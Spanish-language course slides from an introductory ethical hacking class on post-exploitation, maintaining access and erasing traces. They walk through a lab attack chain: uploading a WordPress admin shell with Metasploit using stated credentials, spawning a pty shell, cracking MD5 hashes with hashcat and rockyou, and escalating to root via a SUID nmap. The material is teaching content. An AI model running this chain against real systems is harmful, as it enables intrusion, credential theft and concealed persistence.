FIDE VIRTUAL

Curso introductorio de Ethical Hacking

Semana 04

Profesor: Randall Barnett Villalobos

Postexplotación

Sesión 09

Etapa de Mantención de Acceso y Limpieza de Rastros

FIDE VIRTUAL

Objetivo del módulo

- Mantener acceso al objetivo, con fin de la búsqueda de más vulnerabilidades y la extracción de más información.
- Eliminar rastros de acceso, con el uso de herramientas que permitan crear agujeros de seguridad con el mínimo riesgo.

Proceso de postexplotación

Creación del Shell con Metasploit.

FIDE VIRTUAL

Carga de WordPress Admin Shell

```
$ msfconsole
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > show options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name Current Setting Required Description
   ---- --------------- -------- -----------
   PASSWORD yes The WordPress
   Proxies no A proxy chain of
   RHOST yes The target addres
   RPORT 80 yes The target por
   SSL false no Negotiate SSL/
   TARGETURI / yes The base pa
   USERNAME yes The WordPress
   VHOST no HTTP server virtua
```

```
msf exploit(wp_admin_shell_upload) > set USERNAME elliot
USERNAME => elliot
msf exploit(wp_admin_shell_upload) > set PASSWORD ER28-0652
PASSWORD => ER28-0652
msf exploit(wp_admin_shell_upload) > set RHOST 192.168.100.21
RHOST => 192.168.100.21
msf exploit(wp_admin_shell_upload) > exploit
```

Generar el shell

```
meterpreter > shell
Process 2138 created.
Channel 1 created.
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

HashCat

```
$ ./hashcat64.bin -a 0 -m 0 password.md5 /usr/share/wordlists/rockyou.txt -o cracked.txt
```

Por último, la escalación de privilegios

```
$ find / -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
```

```
$ nmap --interactive
```

Mira el video

Postexplotación de servicios.

Gracias